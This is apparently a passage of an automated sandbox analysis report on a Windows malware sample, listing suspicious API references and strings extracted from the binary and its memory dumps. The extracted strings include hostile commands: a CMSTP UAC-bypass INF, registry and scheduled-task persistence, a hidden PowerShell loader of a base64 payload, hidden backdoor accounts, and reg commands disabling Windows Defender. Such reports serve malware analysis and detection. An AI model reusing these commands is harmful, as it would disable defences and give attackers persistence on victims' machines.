00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "RtlSetProcessIsCritical"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "QueueUserWorkItem"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "EnableMenuItem"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "NtUnmapViewOfSection"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "Wow64DisableWow64FsRedirection"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "Wow64RevertWow64FsRedirection"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "SystemParametersInfo"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetLastInputInfo"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "CloseDesktop"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "OpenDesktop"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "SetCursorPos"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "CreateProcess"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "EnumDesktopWindows"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "BitBlt"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "WindowFromPoint"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "SendMessageTimeout"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetKeyboardLayout"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetWindowText"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "Wow64GetThreadContext"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "Wow64SetThreadContext"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetSubMenu"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetMenu"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "FindWindow"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetForegroundWindow"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetConsoleWindow"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetWindow"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "RedrawWindow"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "VirtualAllocEx"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "ToUnicodeEx"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "UnhookWindowsHookEx"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "SetWindowsHookEx"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "CallNextHookEx"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "FindWindowEx"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "MapVirtualKeyEx"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "LoadLibrary"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "ReadProcessMemory"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "WriteProcessMemory"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "CreateDirectory"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentDirectory"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetKernelObjectSecurity"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "SetKernelObjectSecurity"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")36:T572,Found reference to API "set_UseShellExecute" (Indicator: "ShellExecute"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "ShellExecute"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "DoShellExecuteResponse" (Indicator: "ShellExecute"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "set_UseShellExecute" (Indicator: "ShellExecute"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "UseShellExecute = false," (Indicator: "ShellExecute"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "DoShellExecuteResponse" (Indicator: "ShellExecute"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")37:T924,Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "Wow64GetThreadContext" (Indicator: "GetThreadContext"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "Wow64SetThreadContext" (Indicator: "SetThreadContext"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "ow64SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "ow64GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "Wow64GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "Wow64SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")38:T416,Found string "\r\n [version]\r\n Signature=$chicago$\r\n AdvancedINF=2.5\r\n [DefaultInstall]\r\n CustomDestination=CustInstDestSectionAllUsers\r\n RunPreSetupCommands=RunPreSetupCommandsSection\r\n [RunPreSetupCommandsSection]\r\n powershell.exe \"Start-Process '" (Indicator: "Start-Process"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin"), Found string "Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall] CustomDestination=CustInstDestSectionAllUsers RunPreSetupCommands=RunPreSetupCommandsSection [RunPreSetupCommandsSection] powershell.exe "Start-Process '" (Indicator: "Start-Process"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp"), Found string "powershell.exe "Start-Process '" (Indicator: "Start-Process"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")39:T7c6e,"RunPS("schtasks.exe /create /tn OneDrive-Standalone-Update-Task-S-1-5-21-502086097-1551555327-3686180297-666 /tr " + myself + " /sc daily /mo 1"); } static void Startup() { string pathm = Path.Combine(Path.GetTempPath(), "mineworm"); string bat = Path.Combine(pathm, "mineworm.bat"); string myself = Path.Combine(pathm, "mineworm.exe"); //Directory.CreateDirectory(startupdir); File.SetAttributes(pathm, FileAttributes.Hidden | FileAttributes.System | FileAttributes.Hidden); //File.Copy(Assembly.GetEntryAssembly().Location, myself + "\\SystemProcess.exe"); //File.SetAttributes(startupdir + "\\SystemProcess.exe", FileAttributes.Hidden | FileAttributes.System | FileAttributes.Hidden); Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); key.SetValue("Onedrive"," in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "Software\Classes\" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "Software\Classes\mscfile\Shell\Open\command" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "Software\Classes\ms-settings\Shell\Open\command" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "Software\Microsoft\Windows NT\CurrentVersion\" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "Software\Classes\Folder\shell\open\command" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "Software\Classes\exefile\Shell\Open\command" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "Software\" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "Software\Classes\ms-settings" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "System\CurrentControlSet\Control\MediaCategories" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "' -Verb RunAs" taskkill /IM cmstp.exe /F [CustInstDestSectionAllUsers] 49000 49001=AllUSer_LDIDSection 7 [AllUSer_LDIDSection] "HKLM" "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE" "ProfileInstallPath" "%UnexpectedError%" "" [Strings] ServiceName="CMMGR32" ShortSvcName="CMMGR32"" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin, "on error resume nextset wshShell = CreateObject( "WScript.Shell" )wshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "" strValueIf IsNull(strValue) Thenset wshShell = CreateObject( "WScript.Shell" )wshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "New-ItemProperty -Path HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList -Name Venom -PropertyType DWord -Value 0 -Force" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" / t REG_DWORD /d "0" /f" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "Software\Ccleaner" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin "SOFTWARE\\Classes\\Foxmail.url.mailto\\Shell\\open\\command" in Source: 6000025-_~_6_ "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" in Source: 6000031-_~_ "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" in Source: 600003a-_~_ "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\CredSSP\\Parameters" in Source: 600003a-_~_ "SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services" in Source: 600003b-_~_ "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList" in Source: 600003b-_~_ "New-ItemProperty -Path HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList -Name Durios -PropertyType DWord -Value 0 -Force" in Source: 600003b-_~_ "Software\\" in Source: 60000ca-_~_ "Software\\Classes\\ms-settings" in Source: 60000d0-_~_ "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" in Source: 6000847-_~_ "[version]\r\nSignature=$chicago$\r\nAdvancedINF=2.5\r\n\r\n[DefaultInstall]\r\nCustomDestination=CustInstDestSectionAllUsers\r\nRunPreSetupCommands=RunPreSetupCommandsSection\r\n\r\n[RunPreSetupCommandsSection]\r\n; Commands Here will be run Before Setup Begins to install\r\nREPLACE_COMMAND_LINE\r\ntaskkill /IM cmstp.exe /F\r\n\r\n[CustInstDestSectionAllUsers]\r\n49000,49001=AllUSer_LDIDSection, 7\r\n\r\n[AllUSer_LDIDSection]\r\n\"HKLM\", \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\CMMGR32.EXE\", \"ProfileInstallPath\", \"%UnexpectedError%\", 